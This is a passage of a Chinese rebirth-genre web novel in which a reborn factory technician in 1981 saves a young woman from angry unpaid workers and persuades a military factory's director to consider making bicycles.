《重生八一:从工厂技术员到大国工匠》
第1章 重生归来
“**,长得倒是蛮精神的,也不知道你那黑心爹用了几分油水在你身上。”
在幽深的水泥筒子楼楼道,密密麻麻挤满了人。
满脸横肉的中年妇女狠狠推了一把面前柔弱的少女。
少女身子单薄,浑身上下透露出一股无力感。
“事是我爹干的,我没有从他手里拿过一分钱,你们就算逼我我也没有办法。”
中年妇女狠狠朝地上吐了口痰,满脸厉色吼道:“谁知道你说的几分真几分假?父债子偿,你爹卷了我们的钱跑了,你这个当闺女的脱不了干系。”
“跟她啰嗦这么多做甚?拉到窑子里去卖,啥时候把欠的工钱还完,啥时候这事了。”
“没错,长得倒是水嫩,大爷我工钱不要了,让我爽爽得了。”
一群神色各异的工人纷纷朝着少女围了过来。
“你们……你们别过来。”
少女挥舞着手中的木棍,声音沙哑,面露绝望之色。
她朝人群瞥了一眼,眼中闪过一抹激动,歇斯底里、用尽力气喊道:“杜国强,救救我!”
夹杂在人群中,一个年纪轻轻,颇带几分书生气的男人猛地一怔,迷茫的双眼逐渐恢复神采。
“我这是在哪?”
没等杜国强多想,大脑便一阵刺痛,前世的记忆如潮水般涌入,瞬间知道了现在的处境。
自己竟然回到了四十五年前——那个让他悔恨终生的一天。
厂长刘占福卷走自行车厂一万余元现金,一头扎进赌场,将全厂一百多号人的工资挥霍一空。
盛怒之下的工人们提着棍棒来到刘占福家里讨债,正主没找到,堵到了他女儿刘静怡。
上一世,听到刘静怡的呼救,杜国强怂了。
几十号工人,挨个揍上一拳都能让他脑震荡。
他躲在人群中,想着这些工人不过是耍耍嘴皮子罢了。
哪知道这群人真找出麻袋绳子,想当人贩子把刘静怡带走。
为保全清白,刘静怡绝望地从七楼跳下,当场香消玉殒。
直到警方翻找遗物,杜国强才发现刘静怡竟是默默资助他考上初中,让他能够成为厂里技术员的恩人。
此后余生,他虽然事业有成,生活富足,可心里始终扎着一根刺,每天都活在悔恨中,临终前仍无法原谅自己。
而现在,老天爷让他回到了改革开放初期的黄金年代。
一个有机会挽回一切的时代。
“刘静怡,上一世欠你的,这辈子我要尽数还给你。”
杜国强浑身似乎因为激动,都在微微颤抖。
厂里出名的二流子,外号“大胡子”的工人,神色不屑地淫笑道。
“还指望这毛头小子能救你?做梦吧,今天就算老子当着他的面把你强了,他屁都不敢放一声!”
“妹子,乖乖先过来,给大爷爽几把。”
“你不要过来!”
刘静怡竭力往后蜷缩,恐惧将她逼向狭小灰暗的角落。
眼瞅清白难保,她绝望地看向屋子里的阳台,脸色浮现一抹决然。
大胡子色眯眯地盯着刘静怡凹凸有致的身躯,舔了舔嘴唇说道:“妹子,你就别躲了,大爷我可是温柔得很,保证让你快活得要上天。”
就在他迈步上前,张开双臂就要扑向刘静怡时,后脖颈忽然被人狠狠拽住,领口勒得他几乎喘不过气,脸涨得通红。
他拼命挣扎着骂道:“妈的,谁,给老子松手!”
杜国强猛地将大胡子拽倒在地,面色从容地站到刘静怡面前,将她护在身后:“我,怎么了?”
他眼神冷冽地盯着众人,攥紧的拳头因用力泛白。
刘静怡望着他微微发颤的后背,记忆里那个总怯懦躲在人群后的少年,此刻像座山般挡在身前。
挤在楼道里的工人们有些发闷。他们万万没想到杜国强竟然还真敢站出来。
平日里见这小子总是柔柔弱弱的,跟人说上两句,脸上就泛红,明显是村里来的土包子。
就这,竟然敢和城里的工人们起冲突。
大胡子摔了个狗啃泥,狼狈地爬起来,见到对自己动手的人竟然是杜国强,顿时勃然大怒。捋起了袖子,一个箭步便要冲上来揍杜国强。
“还真当自己一个初中毕业的技术员有本事了?平日里不想跟你多计较,今个我就
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把你这手筋脚筋挑断,**崽子!”
眼瞅着大胡子那宛若鹰爪般结实的巨掌就要捏向杜国强的脖子,站在其身后的刘静怡一脸焦急:“杜国强,你走吧,别管我了。”
她不禁有些后悔,自己刚才喊杜国强干什么?
这下子顺带着把他也拉进了泥坑。一个身材单薄的初中生怎么跟厂里的这些老油条斗?
而杜国强神色淡定,屏气凝神注视着大胡子的一举一动。
当大胡子的手臂将要触碰到他面门之时,杜国强突然发难,一掌打在大胡子的胳膊上,而后一个翻身、旋转踢,狠狠一脚踹在了大胡子的命根子上。
“**,你耍阴招!”
大胡子顿时疼得涨红了脸,身子佝偻着,像个开了背的大虾。
“这小子好像有两下子。”
工人中有些混混,眼光毒辣,一眼就看出了杜国强的不凡。
看来前世学武健身的那些技巧还在。
杜国强心里暗暗道。
当年刘静怡**后,杜国强便发了疯地习武,甚至还到少林寺苦练了几年。
可以说他现在所掌握的格斗技巧,与国内的一些顶尖特种兵相比也不遑多让,甚至更胜一筹。
杜国强松了口气,面向众人道:“今天有我在,你们别想动刘静怡一根手指头。”
听闻这话,吵吵嚷嚷的人群更是平添几分愤怒。
“就活该我们吃这个哑巴亏啊?那姓刘的王八蛋卷了大家伙的工资跑了,我们宣泄下怒火都不成?”
一万多块不是个小数。
厂里压了工人们三个月的工资,眼看就要见到钱了,此刻却被刘占福全拐跑,大家伙自然是个个心中充满怨气。
想到这,杜国强沉思了片刻,扭头望向众人:“诸位,你们信我吗?信我就先回去,我保证,一个月之内把厂里拖欠大家的工资都发了。”
“我们凭啥信你啊?你一个技术员,又不是管账的,还能把钱讨回来不成?”
杜国强嘴角微微咧起:“丢了的钱我没办法,但是在咱们这个时代,自行车配件厂,那就是一座金山。”
守着金山,还怕没饭吃?
第2章 自行车厂
八十年代,红旗招展,刚刚踏入改革开放,一切事业都在摸索着前进。
虽然学不了人家西边住洋楼、顿顿喝牛奶吃面包,但也不至于全国各地到处闹饥荒了。
俗话说得好,保暖思淫*欲。
一旦嘴上吃的能满足,物质生活的需求也就多了起来。
自行车这个原本在普通人眼里可望不可及的事物,如今看下来也并不是求而不得。
就算是风头正盛的凤凰牌二八大杠,算下来也就188块。
普通工人月薪也有个三四十块,勤俭持家一段时间没有买不起的。
因此,现在正是自行车厂发展的黄金时期。各种自行车厂如雨后春笋一般复兴。
杜国强所在的厂就是一个专门做自行车零部件生产的配套零件厂。
主要做车把、脚踏、链轮,同样也能做些车轮,但是打磨和焊接的工人不够,产能有限。
他们对口的工厂是省城的一家知名企业三阳。
可惜人家大品牌,销路多,不差钱。
对于他们这种小的配套厂并不是当成了心窝窝捧着,只是偶尔甩过来一两个订单,需求量不大。
这也造就了本厂的工人个个都是乌烟瘴气的,没个好心情。
毕竟大家伙干再多的活也拿不了多少分红,受那个气干什么?
而这次,刘占福坑蒙拐骗,就像是个***。
厂子被折腾得已经在垂死边缘,更是在90年代出头就被合资卖给了一家外资企业。
想到这,杜国强就有些心痛,这么好的时代里,卖自行车的竟然还能倒闭了?
“***刘占福真不是东西,把厂子折腾成这样!”
想到这,杜国强深吸了一口气,对众人开口道:“咱们厂现在最大的问题就是订单不足,省里的三阳看不上咱们,但是这全国又不是只有他三阳一家干自行车的!”
“只要大家给我些时间,我一定能找到一家接受产能的自行车厂。”
“到时候有了订单,厂子里的工资不也就活起来了吗?”
周遭人听了一愣,心里泛起嘀咕。
他们也并不是想在这折腾一个小姑娘,只是家里穷得都揭不开锅了,要是能拿到钱,谁还想来这堵刘占福?
可是也有人不太相信杜国强。
“哪那么容易找订单?就三阳这三瓜俩枣的订单,还是咱们厂求爷爷告奶奶上下打点,靠着区政府的面子才保下来的。”
杜国强平静道:“这你别管,一口唾沫一个钉。既然敢揽这瓷器活,我自然有这金刚钻。只是这次你们大家得配合我。”
“若是想拿到钱,今个就放过刘静怡,别对人家小姑娘下手,一个个大老爷们,脸上也不臊得慌。”
杜国强对着众多工人就是一阵数落,老气横秋的,差点没把这些工人给气笑了。
好家伙,在这装小大人呢。
要不是知道杜国强也就是个十**的小**猴子,大家还真把他当领导。
不过眼下杜国强双眼中那股精光却让众人有一丝难以言喻的顺从,所说的话里有种不容人拒绝的权威。
他们压根不会想到杜国强此刻虽然是个一穷二白的穷小子,可内心的灵魂依然是个在后世拿各种奖项拿到手软的高级技术专家。
非但是自行车,各种机械设备、航空材料,甚至是军用设备,他都很在行。
甚至好几项被国外卡脖子的技术,都是在杜国强的带领之下突破的。
此刻只不过是一个自行车配件厂的困局罢了。
杜国强坚信,凭借着自己的能力,非但能带着整厂人走出困境,还能为他们带来新的机遇。
看到杜国强说的若有其事,许多工人还是愿意卖他两份面子,信他一回又何妨?
反正刘占福那王八蛋暂时找不到,倒不如看看这小子到底能怎么折腾。
一群工人七嘴八舌的商讨了起来,站出了两个代表,对杜国强道:“一周时间,我们最多再等一周。不说把钱追回来,你起码得让我们看到点希望的影子。大伙还都等这笔工资吃饭呢。”
杜国强点了点头,道:“我有法子,你们就等信吧。”
工人缓缓退去,水泥楼道里逐渐恢复到了空荡荡的场景。
只剩楼梯口摇晃的
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枯黄灯泡,要证明这里刚才有人来过。
刘静怡如一滩散沙般摔在地上,眼神带着哭泣后的茫然,刚才那幅场景将她吓得不轻。
杜国强见状叹了口气,将自己的外套脱下来。刘静怡却反应强烈,赌气一般的将那蓝褂子甩了下去,一个人蜷缩在角落里。
杜国强也不生气,而是笑呵呵的说道:“当真不用盖着?那我可得多看几眼了。这女娃娃的背就是白嫩光亮呢。”
刚才中年大妈拉扯刘静怡的时候,竟然将其的白衬衫给撕烂了,只是在后面,刚才没人看见。
眼下展现在杜国强面前的却是白嫩的肌肤。
刘静怡听了,顿时一愣,慌忙的从地上捡起杜国强的蓝色工服,紧张的套在了身上。
“你会不会和他们一样?笑话我,笑话我爸是个**犯。”
刘静怡有些倔强的抬头望向杜国强。
“咸吃萝卜淡操心,我自己的事都忙活不过来,肚皮还瘪着呢,哪有闲功夫笑话他?”
杜国强顿了顿,又道:“再说,撇下这么乖巧懂事,嫁到别人家去不知道多贤惠的闺女,只为贪那万把块钱。这种人又有什么搭理的必要?”
刘静怡顿时臊得通红,脸上像抹了红涂料般,不知所措道,“谁要嫁到别人家去?你别乱讲。”
杜国强听了,顿时一乐。
这小妮子是听出啥话外之音了?
“行了,你也别在这待着,免不了有两个贼心不死的半夜摸上来,又来寻你,跟我走吧。我带你去见我表嫂,这些日子你就跟她住一块。”
刘静怡这倒是没有反对,唯唯诺诺的点了点头,回到家里换了套干净的衣裳,是一件花格子衬衫。
穿在身上非但没有土气,反倒是有种港台电影里青春靓丽的女学生的感觉。
真漂亮啊!
杜国强看的都愣了愣神,刘静怡察觉到了杜国强在偷看,自己气恼地挥起了拳头:“再看把你眼珠子挖掉!”
“啊哈,不看了,反正以后有的机会是看。”
重生一世,杜国强势必要拿下刘静怡,让这小妮子做自己的媳妇。
第3章 表嫂
杜国强爹没的早,老母亲多病,家里还有两个小妹*妹。
仅仅靠老妈妈挣得那一点工分,怕是要饿死。
幸好,本姓村,家家户户都沾点亲戚。
七八岁就吃起了百家饭。
可总是吃闲饭,即便是亲戚朋友也是哀声道哉。
唯独有这么一户表哥杜源,无论杜国强吃多少,从来也不埋怨。
非但如此,杜源还数次私底下给杜国强塞钱。杜国强上学时不少学杂费都是这位表哥瞒着媳妇偷偷摸摸给的。
年前,杜源因为干活勤快,被从村委会推荐提到了城里,在一家新成立的厂子里当车床操作工。
顺带着也把表嫂接了过去。
杜国强带着刘静怡走了几里路,来到一处郊外新修建的厂子。
院墙装饰用黄漆裹了一层,大门招牌最上面写着八零厂三个大字。
杜国强轻车熟路的找到门卫。
“麻烦您叫一下二车间的蒋秀秀,告诉她一声,就说是杜国强来了,请她出来见一见。”
蒋秀秀正是杜国强的表嫂。
门卫没有为难杜国强,直接给车间打去了电话。
很快一个30多岁的女子急匆匆地来到了门卫这里。
见到自个表嫂,还没等杜国强开口,对方便皱着眉头询问:“这个点你不应该在厂里上班吗?怎么来这找我了?”
“出了点事情,今天不上班了。”
杜国强咳嗽了一声,指了指身后的刘静怡,悄声咳嗽了一下道,“我想请表嫂帮个忙。”
蒋秀秀抬眼打量了一番刘静怡,顿时震了一下,这姑娘长得可真可人!
杜国强一个穷酸棒子,怎么会跟这样的女娃娃有交集?而且还带到自己厂子里。
忽而她想到了些东西,这个年代的小年轻很是冲动,干柴烈火的,有着对异性强烈的探索欲。时不时的厂子里就能传来谁谁家女儿未婚先孕的消息。
难不成杜国强也是这样?
蒋秀秀越想越觉得可能,气的直打颤,脸色发白的伸手指向杜国强。
“杜国强......你和这姑娘不会先上车后补票吧?什么家庭成分也玩这一套,不怕人家父母找过来?”
“表嫂,你想哪里去了。”
杜国强哭笑不得道,“这是我同学,她家里遇到了点事,暂时没办法回家。我是想让表嫂你给她寻个住处的。”
“呼,寻个住处啊,你早说啊,神神秘秘的,我还以为多大的事呢。”
表嫂这才松了口气,对刘静怡道,“姑娘,那你晚上就跟我住宿舍吧,我床大,正好能睡两个人。”
刘静怡低着头道,“给您添麻烦了。”
蒋秀秀摆了摆手,笑道,“不碍事。我一个人待着也是待着。女职工宿舍我家那口子也住进不来,正好有个人能陪我唠唠嗑。”
“这样吧,我现在去厂区给你借床铺盖出来。你也进去收拾收拾。”
很快,蒋秀秀便带着刘静怡来到了女生宿舍,给她搬出了铺盖以及她自己洗漱用品,而后这才下楼,去见杜国强。
表嫂上下打量了杜国强一眼,道:“我看你小子对那姑娘是有几分意思的。虽然你不能算癞**吧,但人家那姑娘可是实打实的天鹅。要想跟人家姑娘好,我看你还是得多长点本事。”
“表嫂教训的是,”杜国强搓了搓手,嬉皮笑脸道,“其实除了送我这位同学过来,我还有其他事想要拜托表嫂。”
蒋秀秀顿时一愣:“啥事?”
“能不能让我见见你们厂长?”
蒋秀秀一听,无语道:“你还真是狮子大开口,这本事是不用长了,够大了,还想见我们厂长。你觉得我一个厂里当女工的有啥本事去给你报这个信?”
蒋秀秀摆了摆手道,“这姑娘跟我这住没问题,但是见厂长这事我帮不了你。”
眼见蒋秀秀扭头要走,杜国强赶忙一把拽住了对方,坚决道:“表嫂,这个忙你非帮我不可。不是难事,你就告诉你们厂长,说我有办法解决他的困境就成。”
“你还能解决人家厂长的困境了?”
蒋秀秀笑了笑,不过倒也没有拒绝,低头想了想,道:“我记得一会我们厂长要陪几个领导到车间视察,到时候我想办法帮你递上一句话,不过人家要是把你当个屁给放了,这事你可怨不着我,也不准和你表哥告状。”
杜国强大喜道:“那就谢谢表嫂了。”
他十分笃定,那位朱厂长若是听到这句话,一定会来见自己的。
八零厂并不是什么杂厂小厂,而是一家正儿八经的军工厂,血脉纯正。
原本在这地方新建是专门为了生产305式高射炮的。
但是随着改革开放程度的加深,国家之间的敌对关系减弱。
这
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些军工产品一下子没有用武之地了!
生产指标一缩再缩,刚刚成立不久的八零厂,面临着生产转型的任务。
此刻,八零厂的朱厂长急得满头大汗。
军品转民品这并非没有先例,只是该生产些什么?很有可能会影响到厂子未来几十年的发展。
上一世,杜国强清晰的记着八零厂在两年后彻底的转型成为了生活用品厂,专门生产一些生活用品。
还没出十年,整个厂子就被各种眼花缭乱的民品彻底淘汰破产,一个军字号企业败的这么突然,在当时引起了广泛的讨论。
上面还专门批评了当时的厂领导。
现在想想看,让一个军工企业去生产锅碗瓢盆,完全是浪费吗?
这德制车床、加工设备,各种机械设备都是顶尖的。
若是能拿来生产自行车,定然是条好出路。
杜国强没等多长时间。
中午饭刚开始了一会,
“小兄弟,我听蒋姐说你找我,还有办法解决我们厂的困境?”
朱厂长笑道:“你恐怕不知道我们八零厂是搞什么的吧,军工!这样的企业咋可能有烦恼吗?我们可是保护大家的屏障。”
杜国强笑了笑道:“朱厂长,您就不用跟我在这演这一套了。我不是你们厂里的职工,也不用为我吃什么定心丸。军工厂转型这件事,据我所知已经是板上钉钉了。”
朱厂长大吃一惊,这事在上面还是保密状态呢,连他这个厂长也是刚得到消息两周,这小孩怎么知道的?
他赶忙警惕地望向杜国强:“你是哪得到的消息?”
杜国强道:“您先别管这个,消息从哪来并不重要,这不是我想见您的目的。我来,是想问问朱厂长现在心里有没有合适的转型产品?”
“看来你是有几分路子的。”
朱厂长收回了轻看杜国强的想法,道,“确实,我们厂现在的主要产品面临困境,我和一些朋友聚在一起讨论了一下,决定做一些不会被市场淘汰的暖壶、水缸之类的民用产品。”
“你觉得我们这个想法怎么样?”
朱厂长问向杜国强。
杜国强道:“听起来似乎没啥问题。”
朱厂长满意的点了点头,可随后杜国强说的话却让他的笑容瞬间凝固。
“但是做起来,那就死路一条。”
......
第5章 什么档次
八零厂体量虽大,但是也不可能一口直接吃成个胖子,许多零部件肯定还得向外购买。
朱厂长思索了片刻,点了点头:“这是小事,你要是有这个能力生产,转给你零件订单也没啥大问题。”
“但是,是否转变策略生产自行车,这件事我一个人定不了。”
朱厂长站起身来,同杜国强握了握手.
“中午,你还在八零厂吗?”
杜国强点点头道:“我在我表哥家吃饭,他们是你们八零厂的职工?”
“你表哥叫啥?”
“杜源。”
“你是杜工的表弟?”
朱厂长有些惊讶道,显然是认识杜源,他点了点头,“那行,我现在就去召集厂领导开会,争取今天把结果告诉你。”
朱厂长急匆匆地和杜国强告别,很快喇叭里就传来了刺啦的电流声。
随后,他召集所有分部的领导集合开会。
杜国强一下子清闲下来,他特地来到八零厂配套的农贸供销社之中,买了些绿豆馅的面饼点心。
时间一晃就快到正午,太阳刺得人两眼发昏。
杜国强估摸着表嫂应该已经把刘静怡的食宿安排得差不多了,便提着礼物朝表嫂的宿舍走去。
没想到在正门口遇到了正往外走的三人。
表嫂和刘静怡站在后面。
领在前面的是个满身汗气、身材魁梧,穿着蓝上衣、蓝裤子的八零厂工人。
正是表哥杜源。
杜源见到杜国强没有说话,而是上下打量了一番。
这眼神让杜国强有些内心发毛。
毕竟长兄为父,长嫂为母.
“表哥,”杜国强尴尬地咳嗽了一声道,“你下班了?不是说十二点半才完事吗?”
杜源收回了自己打量的目光,平静道:“你嫂子说你来了,我便跟车间里的工友调了个班,晚上多干一个半时辰。”
顺带着,杜源发现了杜国强手上提着的,用黄纸张包裹的物件.
“你手上提的是什么?”
“我刚才在供销社买的点心,送你和嫂子的。”
杜源顿时皱起眉头,语气冰冷起来:“乱花什么钱?真把自己当大款了?也就是个技术员,40多块的工资。你忘了自己家里还有个老娘,两个妹妹呢!”
听到这话,若是放在前世那个傻不愣登的年轻灵魂上,杜国强多半是要跟杜源翻脸的。
好心好意提礼品,还被呵斥。
但放到现在,杜国强只感觉惭愧。
确实,杜源教训得是。
自从他当上技术员之后,一分一毛没有补贴农村的家里。
导致两个妹妹早早辍学打工;母亲更是终日在地里操劳,年仅50余岁便已经白发苍苍,皮肤衰老得不成样子,显然是为那个家操尽了心血。
而自己这个工厂的技术员,原本是有机会改变这一切的,却嫌弃起了自己的原生家庭,导致好端端一个家过得一塌糊涂。
“表哥,你放心,我这些天会回农村老家看看的,到时候会给我老妈妈留钱的。”
杜国强诚恳道。
杜源顿时一愣,他倒是没想到这小子竟然能给自己认错。
......
中午,在八零厂食堂吃饭。
杜源招呼着杜国强打了4份饭,今天食堂吃的是扁芸豆,老厨子手艺很到位。绿色的芸豆上面泛着淡淡的油光,再撒上一点辣子,很是吊人胃口。
杜源干的是苦力活,饭下得很快,连着添了两次饭,不过并不耽误和杜国强问话。
“我听你嫂子刚刚说,你去见我们厂长了,还能帮我们厂长解决事。”
杜国强点了点头,道:“我确实去见了朱厂长,跟他探讨了些生产问题。”
杜源皱了皱眉头,将饭碗放下,望向杜国强:“杜国强,我知道你读了几年书,眼界和心态开阔起来了,但是有些话我还是得提点你一句。什么事该做,什么事不该做,这你得有个预期。
“朱厂长那是什么人?部队里退下来的老连长。人家平日接触的都是政府上的人,和这种人打交道。你觉得你一个初中毕业的技术员档次够吗?”
杜国强愣了一下,刚想跟杜源解释,却见对方不耐烦地摆了摆手。
“我知道你想说什么,不要觉得你现在的档次高了,能跟人家厂长平起平坐了。人家厂长愿意见你,估摸着也是看在你
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嫂子这个在厂子里干了多年的份上。你得懂事,不要让我们为难,知道吗?”
刚刚听到蒋秀秀跟他讲杜国强去找了自个厂的厂长后,杜源是有些恼怒的。
自己这表弟书读了不少,这脑子却是越来越浑。
也不知道一个尊卑贵贱,人家堂堂的军工厂厂长,也是他一个**腿子想见就能见的吗?
他知道,虽然现在杜国强身上挂了个技术员的职位,可是落在实际生产中,那就是个屁。
书本里教你咋拧螺丝、实操车床吗?
在厂子里还是自己这种工人更吃香。
“行了,饭也吃的差不多了,你带上你同学,下午好好逛逛。我跟你表嫂就上班去了。关于我说的问题,你自己好好想想。”
杜源转眼下了逐客令。
杜国强无奈地点了点头,面对自己这固执的表哥,他也不好解释什么,只好带着刘静怡先行离开,等晚上的时候再跟自己这表哥解释清楚。
看到杜国强走远,杜源训斥起了蒋秀秀:“你也是,他说什么你听什么。还给他引荐厂长,这也就是没出什么事端,要真出了事,我们能担当的起吗”
就在这时,食堂入口的帘子被掀了起来,朱厂长一脸焦急地走了进来。
他四处打量了一番,并没有发现杜国强的身影,顿时心生焦急,连忙走到杜源身边,开口询问:“你那表弟呢?不是跟你一块吃饭去了吗?”
杜源内心咯噔一声,脸色白了起来,杜国强这小子不会真惹出祸端了吧?
他赶忙赔笑道:“厂长,我那表弟做事没个分寸,从小就是个倔骨头,他要是说了什么不该说的话,还请您不要放在心上。”
“实在不行,我把这小子绑过来,让您打一顿出出气,您大人不记小人过就成!”
杜源扭头对蒋秀秀道:“回去**毛掸子,这小子不打不成器,非得打一顿不可!”
“哎哎,打住打住!”朱厂长看着杜源道,“杜工,你这是整的哪一出?我是想请杜小兄弟给我帮忙呢!”
请杜国强帮忙?
杜源愣了一下,道:“厂长,他一个初中毕业生,能帮您什么事?”
第6章 决定不再隐瞒
“这小兔崽子到哪撒泼去了?”
朱厂长心急如焚,恨不得掀了八零厂的地皮寻出杜国强。
这一切杜国强并不知道。
不过就算他知道了,也不会心急。
他正陪着刘静怡在大街上闲逛。
倘若以朱厂长多生两根白头发的代价,来换美人一笑,显然是值得的。
此刻的刘静怡,脸红彤彤的,双眸如水般,身上的碎花裙子紧紧贴在细嫩的身段上,胸前已初有成人规模。
那婉约如水的容颜,让杜国强很容易想到后世一名叫高圆圆的女星。
“咕咚。”
杜国强吞咽了一口口水。
“国强,你莫要这样盯着我。”
刘静怡脸蛋子通红,眼见杜国强直勾勾,恨不得找个地缝钻进去。
她倒不是对杜国强没有感觉。
只是青年人之间的好感总是朦朦胧胧的,隔着一层窗户纸,谁都不敢捅破。更何况她是一个黄花大闺女,被男人这样瞅着,更添几分慌乱。
“不看了,不看了。”
杜国强咳嗽了两声,忽然意识到一点,开口向刘静怡询问道。
“你手头上缺钱吗?”
刘占福既然能狠下心来将厂里工人的工资骗的一干二净,估摸着自己闺女手里的钱也早让他挥霍了。
这些年刘静怡总是在暗地里,资助自己。
那是这妮子平日里一分一分的从自己的口粮里省下来的。
凭着这份情分,杜国强觉得现在是自己报恩的时候了。
说着他便伸手掏向了自己的裤兜子,刘静怡见状,赶忙将其一把拦。
“你莫要给我钱,我手头还有些。没有让我爸全给骗走,支撑个一两个月还是不成问题的。”
杜国强这才收回了手,道:“那缺钱你就跟我说话,千万别客气。”
实际上,工厂三月不开支,他的裤兜里也没几个子儿。
刚才也是打肿脸充胖子。
刘静怡感激的点了点头,而后关切的叮嘱道,“杜国强,你的钱一定要自己存好,不要乱花。”
“咱们厂技术员工资不高,也就工人平均线四十出头。说多不多,说少不少。你日后若是想攒钱娶媳妇,不说三转一响,但四十八条腿总得凑齐吧?况且,你家庭条件不太好,家里还有老人和妹妹需要养。”
杜国强听了,内心暖暖的。
这才是好姑娘啊,关心自己,甚至还替自己惦记着家里的母亲和妹妹。
这样的女人,打着灯笼都难找!
杜国强调侃道:“谁说娶媳妇就得凑足三转一响和四十八条腿呢?说不定眼下就有姑娘愿意报恩一分钱不要的嫁给我呢。”
刘静怡脸唰一下子红成了猴屁股。她知道杜国强这是在调侃自己呢。
“你,你……不许胡说。”
刘静怡伸手,羞红了脸,娇怒想要敲打杜国强。
但是街上人来人往的,她若是这样做了,未免有打情骂俏的嫌疑,最终还是悻悻的收了回去。
她又想了想,攥紧衣角鼓足勇气道:“杜国强,要不你别管我这事了。和我划清界限,兴许厂里工人不会计较……那一万多块钱窟窿要是填不上,你再跟我走这么近,怕是日后厂里人会跟你闹别扭。”
让我临阵脱逃?
杜国强深吸一口气,前世他退缩过一次,为此悔恨终生。
这辈子,他绝不会重蹈覆辙。
“刘静怡,你放心!一万多块钱而已,难不倒我!”
“你别把这事当儿戏!”刘静怡急得眼眶发红,“要是答应了厂里工人却拿不出钱,他们真会找你麻烦的!”
杜国强坚定的目光未曾动摇。
刘静怡咬着唇,又追问:“这钱你从哪来?总不能去跟表哥表姐借吧?先不说他们拿不出这笔钱,就算有,我也绝不同意你去借!”
“你咋会有这种想法?”杜国强哭笑不得,挑眉看向刘静怡,“就我表哥表嫂那光景,哪像能掏出一万块的万元户?”
“算了,我也不瞒你了。”杜国强思索片刻,决定不再隐瞒。
他目光认真地看向刘静怡,沉声道:“其实我这次带你来表哥表嫂这儿住一段时间,除了这个原因,还有件要紧事——我想跟八零厂的朱厂长谈笔大买卖。”
八零厂厂长?
刘静怡愣了一下,叹了口气。
人家那是实打实的军工体系内的实权人物,最起码是正处级。
挥挥手各种民营厂都得巴结着往跟前凑。
杜国强一个毛头小子想跟朱厂长谈合作,这不是说笑吗?
杜国强看出了刘静怡的不信任。
正当他打算好好给刘静怡解释一番之时,耳边突然响起一道炸雷,愤怒的咆哮声接踵而至。
“杜国强,你小子跑哪去了?找你找半天。”
只见表哥杜源咬牙切齿的跑了过来,额头上全是大汗珠。“懒驴上磨屎尿多,平时没见你勤快,真有事时却上街来了!”
杜国强挑眉道:“表哥,不是你让我带同学出来随便逛逛的吗?”
杜源瞬间语塞,这才想起确实是自己把人“赶”出食
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堂的。
他尴尬地清了清嗓子,神色急切道:“先别扯这些!朱厂长正找你,说有急事要你帮忙,赶紧跟我回去!”
杜国强一听,顿时精神一振。
自知朱厂长找自己肯定是商讨的自行车一事有了结果,否则不可能这么火急火燎的找自己。
而跟在两人身后的刘静怡却是美目流转,心头有些吃惊。
难不成他先前所说的要跟八零厂谈合作这事是真的?
这怎么可能啊?
这可是八零厂,体量比他们所在的自行车配件厂大十几二十倍。
杜国强只不过是一个小小的初中毕业的技术员罢了,连车间工作的基本流程还没有熟悉。
又能帮到朱厂长什么?
回到八零厂,杜国强先将刘静怡送回女职工宿舍,随后跟着杜源来到厂长办公室外。
进门前,杜源在外沉声叮嘱:“虽说不知厂长找你帮什么忙,但凡事务必三思而后行,千万别给自己惹麻烦。”
没有厂长的吩咐,他这个普通的车间操作工不敢冒昧提出旁观的请求。
“表哥,你放心,我晓得的。”
杜国强推门走了进去。
他在厂长办公室里见到两人,一位是先前跟他谈合作的朱厂长。
另一位很陌生,浑身穿着淡蓝色的西装,戴着金丝眼镜。
杜国强问道:“朱厂长,您叫我过来,组内会议结束了吗?厂里是什么意见,打算生产自行车吗?”
朱厂长面露难色:“你的方案,我已经跟厂里中层以上的同志谈过了。”
“说实在的,我们对这事儿确实是外行。讨论了半天,有同意的也有反对的。”
朱厂长坦言,“所以我就自作主张,把负责推动我们厂产品向民用市场转型的李先生请来了。”
“李先生可是港岛来的大公司负责人,专门来帮助我们八零厂的。”
“倒不如你俩辩论一下,我们看结果再定。”朱厂长笑着说道。
杜国强暗自腹诽,这个老狐狸。
这是想坐山观虎斗、渔翁得利啊。
杜国强还没理清思路,戴金丝眼镜的中年男子已皱着眉主动搭话。
“你就是杜国强?”
金丝眼镜男皱着眉,一口浓重港台腔,“听说你想让八零厂生产自行车?这不是胡闹吗?放着见效快的民用产品不做,偏要投大量成本赌自行车?”
“年轻人,别脑袋一热就是一出,这想法,我劝你趁早打住。”
男子推了推眼镜,语气带着几分教训的意味。
第7章 没商量的余地
谁说我年轻就一定不行?
金丝眼镜男很不客气,一上来就从年龄入手贬低杜国强。
虽然说年龄小确实是现在杜国强的短板,可在生意场上这样指出则未免有些不尊重人了。
不过,对于这点,杜国强倒是没有多在意。
八零年代的港商,大多都是带着资金回到大陆,在大陆投资建厂。
从心理角度讲,他们本来就自觉自高一等,所以在谈商业合作时,语气上也比较直来直往。
然而对于杜国强而言,他经历过国内腥风血雨的几十年,亲手助力国家成为工业强国。
早已稳坐钓鱼台,成为科技大佬。
眼下这具身子虽然稚嫩,看似不堪一击,可岂有惧怕一个小小投资商的道理?
“李先生说的很在理啊。”杜国强咧嘴一笑道,“年轻人嘛,脑子热乎乎的不是很正常吗?我不觉得这有啥不好。相反,现在的**起事情来很有冲劲,可远比那些脑子已经腐朽,囿于旧章的人强多了。”
李曼波从小接受英式教育,可这并不意味着他听不懂杜国强话语里暗戳戳的嘲讽。
这是把自己比作了榆木脑袋。
李曼波气得脸色发青。
但是若要揪住这件事情不放,则真就成了杜国强口中的倚老卖老、顽固不灵了。
所以,他也只能忍气吞声,咽下这一口气,把事情拉回到正轨上来。
李曼波深吸了一口气,道:“杜国强先生嘴上的功夫很是厉害啊,我不与你议论这无用之事。只是你想把八零厂转型为自行车厂这件事,是绝对行不通的。我代表玛瑞公司进行反对。”
“内地现在一穷二白,许多行业都是零基础,在这样的环境下想要重新创立一个完善体系的自行车厂,简直是痴人说梦。”
李曼波扶了扶自己的眼镜,胸有成竹地讲道,“我们和内地之间是有着血缘关系的,因此才想着来拉扯内地一把。民品市场是我经过调研,亲自敲定的合作类别,你张口就要全盘否定。倘若是小小改动,承担一般的配件厂职责也就算了,像自行车整车制造这种事是绝对不可行的。”
说着,李曼波又掉头望向了朱厂长,用不容置疑的口吻道:“朱厂长,你也知道我背后的玛瑞贸易是多么庞大的上市公司。我们经过商讨的商业方案,都是汇聚世界顶尖金融人才的思考结晶。倘若是八零厂不愿和我们合作,那我们也大可将这次的合作转给其他公司。”
“哎呀,李先生,这话严重了。大家这不是坐下来好好商量商量吗?”
